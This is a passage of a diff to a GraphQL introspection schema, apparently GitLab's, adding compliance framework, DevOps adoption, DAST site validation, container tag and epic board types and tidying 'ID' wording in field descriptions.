+ "deprecationReason": null
+ },
+ {
+ "name": "id",
+ "description": "Compliance framework ID",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "ID",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "name",
"description": "Name of the compliance framework",
"args": [
@@ -8452,6 +9229,16 @@
"possibleTypes": null
},
{
+ "kind": "SCALAR",
+ "name": "ComplianceManagementFrameworkID",
+ "description": "Identifier of ComplianceManagement::Framework",
+ "fields": null,
+ "inputFields": null,
+ "interfaces": null,
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
"kind": "INPUT_OBJECT",
"name": "ConfigureSastInput",
"description": "Autogenerated input type of ConfigureSast",
@@ -9005,6 +9792,24 @@
"deprecationReason": null
},
{
+ "name": "project",
+ "description": "Project of the container registry",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "Project",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "status",
"description": "Status of the container repository.",
"args": [
@@ -9306,6 +10111,24 @@
"deprecationReason": null
},
{
+ "name": "project",
+ "description": "Project of the container registry",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "Project",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "status",
"description": "Status of the container repository.",
"args": [
@@ -9803,7 +10626,7 @@
},
{
"name": "iid",
- "description": "The iid of the alert to mutate",
+ "description": "The IID of the alert to mutate",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -9933,7 +10756,7 @@
"inputFields": [
{
"name": "environmentId",
- "description": "The global id of the environment to add an annotation to",
+ "description": "The global ID of the environment to add an annotation to",
"type": {
"kind": "SCALAR",
"name": "EnvironmentID",
@@ -9943,7 +10766,7 @@
},
{
"name": "clusterId",
- "description": "The global id of the cluster to add an annotation to",
+ "description": "The global ID of the cluster to add an annotation to",
"type": {
"kind": "SCALAR",
"name": "ClustersClusterID",
@@ -10122,28 +10945,18 @@
"defaultValue": null
},
{
- "name": "assigneeId",
- "description": "The ID of the user to be assigned to the board.",
- "type": {
- "kind": "SCALAR",
- "name": "String",
- "ofType": null
- },
- "defaultValue": null
- },
- {
- "name": "milestoneId",
- "description": "The ID of the milestone to be assigned to the board.",
+ "name": "hideBacklogList",
+ "description": "Whether or not backlog list is hidden",
"type": {
"kind": "SCALAR",
- "name": "MilestoneID",
+ "name": "Boolean",
"ofType": null
},
"defaultValue": null
},
{
- "name": "weight",
- "description": "The weight of the board.",
+ "name": "hideClosedList",
+ "description": "Whether or not closed list is hidden",
"type": {
"kind": "SCALAR",
"name": "Boolean",
@@ -10152,24 +10965,6 @@
"defaultValue": null
},
{
- "name": "labelIds",
- "description": "The IDs of labels to be added to the board.",
- "type": {
- "kind": "LIST",
- "name": null,
- "ofType": {
- "kind": "NON_NULL",
- "name": null,
- "ofType": {
- "kind": "SCALAR",
- "name": "LabelID",
- "ofType": null
- }
- }
- },
- "defaultValue": null
- },
- {
"name": "clientMutationId",
"description": "A unique identifier for the client performing the mutation.",
"type": {
@@ -10499,6 +11294,150 @@
},
{
"kind": "INPUT_OBJECT",
+ "name": "CreateComplianceFrameworkInput",
+ "description": "Autogenerated input type of CreateComplianceFramework",
+ "fields": null,
+ "inputFields": [
+ {
+ "name": "namespacePath",
+ "description": "Full path of the namespace to add the compliance framework to.",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "ID",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "name",
+ "description": "Name of the compliance framework.",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "description",
+ "description": "Description of the compliance framework.",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "color",
+ "description": "Color to represent the compliance framework as a hexadecimal value. e.g. #ABC123.",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "interfaces": null,
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "CreateComplianceFrameworkPayload",
+ "description": "Autogenerated return type of CreateComplianceFramework",
+ "fields": [
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "errors",
+ "description": "Errors encountered during execution of the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "framework",
+ "description": "The created compliance framework.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "ComplianceFramework",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "INPUT_OBJECT",
"name": "CreateCustomEmojiInput",
"description": "Autogenerated input type of CreateCustomEmoji",
"fields": null,
@@ -10629,13 +11568,133 @@
},
{
"kind": "INPUT_OBJECT",
+ "name": "CreateDevopsAdoptionSegmentInput",
+ "description": "Autogenerated input type of CreateDevopsAdoptionSegment",
+ "fields": null,
+ "inputFields": [
+ {
+ "name": "name",
+ "description": "Name of the segment",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "groupIds",
+ "description": "The array of group IDs to set for the segment",
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "GroupID",
+ "ofType": null
+ }
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "interfaces": null,
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "CreateDevopsAdoptionSegmentPayload",
+ "description": "Autogenerated return type of CreateDevopsAdoptionSegment",
+ "fields": [
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "errors",
+ "description": "Errors encountered during execution of the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "segment",
+ "description": "The segment after mutation",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "DevopsAdoptionSegment",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "INPUT_OBJECT",
"name": "CreateDiffNoteInput",
"description": "Autogenerated input type of CreateDiffNote",
"fields": null,
"inputFields": [
{
"name": "noteableId",
- "description": "The global id of the resource to add a note to",
+ "description": "The global ID of the resource to add a note to",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -10983,7 +12042,7 @@
"inputFields": [
{
"name": "noteableId",
- "description": "The global id of the resource to add a note to",
+ "description": "The global ID of the resource to add a note to",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -11561,7 +12620,7 @@
"inputFields": [
{
"name": "noteableId",
- "description": "The global id of the resource to add a note to",
+ "description": "The global ID of the resource to add a note to",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -11599,7 +12658,7 @@
},
{
"name": "discussionId",
- "description": "The global id of the discussion this note is in reply to",
+ "description": "The global ID of the discussion this note is in reply to",
"type": {
"kind": "SCALAR",
"name": "DiscussionID",
@@ -12627,7 +13686,7 @@
},
{
"name": "globalId",
- "description": "ID of the DAST scanner profile. Deprecated in 13.6: Use `id`",
+ "description": "ID of the DAST scanner profile Deprecated in 13.6: Use `id`.",
"args": [
],
@@ -12641,7 +13700,7 @@
}
},
"isDeprecated": true,
- "deprecationReason": "Use `id`. Deprecated in 13.6"
+ "deprecationReason": "Use `id`. Deprecated in 13.6."
},
{
"name": "id",
@@ -12974,7 +14033,7 @@
},
{
"name": "globalId",
- "description": "ID of the scanner profile.. Deprecated in 13.6: Use `id`",
+ "description": "ID of the scanner profile. Deprecated in 13.6: Use `id`.",
"args": [
],
@@ -12984,7 +14043,7 @@
"ofType": null
},
"isDeprecated": true,
- "deprecationReason": "Use `id`. Deprecated in 13.6"
+ "deprecationReason": "Use `id`. Deprecated in 13.6."
},
{
"name": "id",
@@ -13391,6 +14450,20 @@
"deprecationReason": null
},
{
+ "name": "normalizedTargetUrl",
+ "description": "Normalized URL of the target to be scanned",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "profileName",
"description": "The name of the site profile",
"args": [
@@ -13988,6 +15061,12 @@
"interfaces": null,
"enumValues": [
{
+ "name": "NONE",
+ "description": "No site validation exists",
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "PENDING_VALIDATION",
"description": "Site validation process has not started",
"isDeprecated": false,
@@ -14171,7 +15250,7 @@
"fields": [
{
"name": "id",
- "description": "ID of the site validation",
+ "description": "Global ID of the site validation",
"args": [
],
@@ -14188,8 +15267,22 @@
"deprecationReason": null
},
{
+ "name": "normalizedTargetUrl",
+ "description": "Normalized URL of the target to be validated",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "status",
- "description": "The status of the validation",
+ "description": "Status of the site validation",
"args": [
],
@@ -14214,6 +15307,73 @@
"possibleTypes": null
},
{
+ "kind": "OBJECT",
+ "name": "DastSiteValidationConnection",
+ "description": "The connection type for DastSiteValidation.",
+ "fields": [
+ {
+ "name": "edges",
+ "description": "A list of edges.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "DastSiteValidationEdge",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "nodes",
+ "description": "A list of nodes.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "DastSiteValidation",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "pageInfo",
+ "description": "Information to aid in pagination.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "PageInfo",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
"kind": "INPUT_OBJECT",
"name": "DastSiteValidationCreateInput",
"description": "Autogenerated input type of DastSiteValidationCreate",
@@ -14368,6 +15528,51 @@
"possibleTypes": null
},
{
+ "kind": "OBJECT",
+ "name": "DastSiteValidationEdge",
+ "description": "An edge in a connection.",
+ "fields": [
+ {
+ "name": "cursor",
+ "description": "A cursor for use in pagination.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "node",
+ "description": "The item at the end of the edge.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "DastSiteValidation",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
"kind": "SCALAR",
"name": "DastSiteValidationID",
"description": "Identifier of DastSiteValidation",
@@ -14418,7 +15623,7 @@
"inputFields": [
{
"name": "id",
- "description": "The global ID of the annotation to delete",
+ "description": "Global ID of the annotation to delete",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -14499,6 +15704,94 @@
"possibleTypes": null
},
{
+ "kind": "INPUT_OBJECT",
+ "name": "DeleteDevopsAdoptionSegmentInput",
+ "description": "Autogenerated input type of DeleteDevopsAdoptionSegment",
+ "fields": null,
+ "inputFields": [
+ {
+ "name": "id",
+ "description": "ID of the segment",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "AnalyticsDevopsAdoptionSegmentID",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "interfaces": null,
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "DeleteDevopsAdoptionSegmentPayload",
+ "description": "Autogenerated return type of DeleteDevopsAdoptionSegment",
+ "fields": [
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "errors",
+ "description": "Errors encountered during execution of the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
"kind": "OBJECT",
"name": "DeleteJobsResponse",
"description": "The response from the AdminSidekiqQueuesDeleteJobs mutation",
@@ -16119,7 +17412,7 @@
},
{
"name": "iid",
- "description": "The iid of the issue to modify designs for",
+ "description": "The IID of the issue to modify designs for",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -16399,7 +17692,7 @@
},
{
"name": "iid",
- "description": "The iid of the issue to modify designs for",
+ "description": "The IID of the issue to modify designs for",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -17162,6 +18455,94 @@
},
{
"kind": "INPUT_OBJECT",
+ "name": "DestroyComplianceFrameworkInput",
+ "description": "Autogenerated input type of DestroyComplianceFramework",
+ "fields": null,
+ "inputFields": [
+ {
+ "name": "id",
+ "description": "The global ID of the compliance framework to destroy",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "ComplianceManagementFrameworkID",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "interfaces": null,
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "DestroyComplianceFrameworkPayload",
+ "description": "Autogenerated return type of DestroyComplianceFramework",
+ "fields": [
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "errors",
+ "description": "Errors encountered during execution of the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "INPUT_OBJECT",
"name": "DestroyContainerRepositoryInput",
"description": "Autogenerated input type of DestroyContainerRepository",
"fields": null,
@@ -17268,13 +18649,149 @@
},
{
"kind": "INPUT_OBJECT",
+ "name": "DestroyContainerRepositoryTagsInput",
+ "description": "Autogenerated input type of DestroyContainerRepositoryTags",
+ "fields": null,
+ "inputFields": [
+ {
+ "name": "id",
+ "description": "ID of the container repository.",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "ContainerRepositoryID",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "tagNames",
+ "description": "Container repository tag(s) to delete. Total number can't be greater than 20",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "interfaces": null,
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "DestroyContainerRepositoryTagsPayload",
+ "description": "Autogenerated return type of DestroyContainerRepositoryTags",
+ "fields": [
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "deletedTagNames",
+ "description": "Deleted container repository tags",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "errors",
+ "description": "Errors encountered during execution of the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "INPUT_OBJECT",
"name": "DestroyNoteInput",
"description": "Autogenerated input type of DestroyNote",
"fields": null,
"inputFields": [
{
"name": "id",
- "description": "The global id of the note to destroy",
+ "description": "The global ID of the note to destroy",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -17376,7 +18893,7 @@
"inputFields": [
{
"name": "id",
- "description": "The global id of the snippet to destroy",
+ "description": "The global ID of the snippet to destroy",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -17618,51 +19135,20 @@
"name": "groups",
"description": "Assigned groups",
"args": [
- {
- "name": "after",
- "description": "Returns the elements in the list that come after the specified cursor.",
- "type": {
- "kind": "SCALAR",
- "name": "String",
- "ofType": null
- },
- "defaultValue": null
- },
- {
- "name": "before",
- "description": "Returns the elements in the list that come before the specified cursor.",
- "type": {
- "kind": "SCALAR",
- "name": "String",
- "ofType": null
- },
- "defaultValue": null
- },
- {
- "name": "first",
- "description": "Returns the first _n_ elements from the list.",
- "type": {
- "kind": "SCALAR",
- "name": "Int",
- "ofType": null
- },
- "defaultValue": null
- },
- {
- "name": "last",
- "description": "Returns the last _n_ elements from the list.",
- "type": {
- "kind": "SCALAR",
- "name": "Int",
- "ofType": null
- },
- "defaultValue": null
- }
+
],
"type": {
- "kind": "OBJECT",
- "name": "GroupConnection",
- "ofType": null
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "Group",
+ "ofType": null
+ }
+ }
},
"isDeprecated": false,
"deprecationReason": null
@@ -17686,6 +19172,20 @@
"deprecationReason": null
},
{
+ "name": "latestSnapshot",
+ "description": "The latest adoption metrics for the segment",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "DevopsAdoptionSnapshot",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "name",
"description": "Name of the segment",
"args": [
@@ -17824,6 +19324,199 @@
"possibleTypes": null
},
{
+ "kind": "OBJECT",
+ "name": "DevopsAdoptionSnapshot",
+ "description": "Snapshot",
+ "fields": [
+ {
+ "name": "deploySucceeded",
+ "description": "At least one deployment succeeded",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "Boolean",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "endTime",
+ "description": "The end time for the snapshot where the data points were collected",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "Time",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "issueOpened",
+ "description": "At least one issue was opened",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "Boolean",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "mergeRequestApproved",
+ "description": "At least one merge request was approved",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "Boolean",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "mergeRequestOpened",
+ "description": "At least one merge request was opened",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "Boolean",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "pipelineSucceeded",
+ "description": "At least one pipeline succeeded",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "Boolean",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "recordedAt",
+ "description": "The time the snapshot was recorded",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "Time",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "runnerConfigured",
+ "description": "At least one runner was used",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "Boolean",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "securityScanSucceeded",
+ "description": "At least one security scan succeeded",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "Boolean",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "startTime",
+ "description": "The start time for the snapshot where the data points were collected",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "Time",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
"kind": "INPUT_OBJECT",
"name": "DiffImagePositionInput",
"description": null,
@@ -18809,7 +20502,7 @@
"inputFields": [
{
"name": "id",
- "description": "The global id of the discussion",
+ "description": "The global ID of the discussion",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -19572,7 +21265,7 @@
"args": [
{
"name": "startDate",
- "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present). Deprecated in 13.5: Use timeframe.start",
+ "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present) Deprecated in 13.5: Use timeframe.start.",
"type": {
"kind": "SCALAR",
"name": "Time",
@@ -19582,7 +21275,7 @@
},
{
"name": "endDate",
- "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present). Deprecated in 13.5: Use timeframe.end",
+ "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present) Deprecated in 13.5: Use timeframe.end.",
"type": {
"kind": "SCALAR",
"name": "Time",
@@ -19698,7 +21391,7 @@
},
{
"name": "iidStartsWith",
- "description": "Filter epics by iid for autocomplete",
+ "description": "Filter epics by IID for autocomplete",
"type": {
"kind": "SCALAR",
"name": "String",
@@ -20707,7 +22400,7 @@
"inputFields": [
{
"name": "iid",
- "description": "The iid of the epic to mutate",
+ "description": "The IID of the epic to mutate",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -20749,7 +22442,7 @@
},
{
"name": "issueIid",
- "description": "The iid of the issue to be added",
+ "description": "The IID of the issue to be added",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -20859,6 +22552,163 @@
},
{
"kind": "OBJECT",
+ "name": "EpicBoard",
+ "description": "Represents an epic board",
+ "fields": [
+ {
+ "name": "id",
+ "description": "Global ID of the board",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "BoardsEpicBoardID",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "name",
+ "description": "Name of the board",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "EpicBoardConnection",
+ "description": "The connection type for EpicBoard.",
+ "fields": [
+ {
+ "name": "edges",
+ "description": "A list of edges.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "EpicBoardEdge",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "nodes",
+ "description": "A list of nodes.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "EpicBoard",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "pageInfo",
+ "description": "Information to aid in pagination.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "PageInfo",
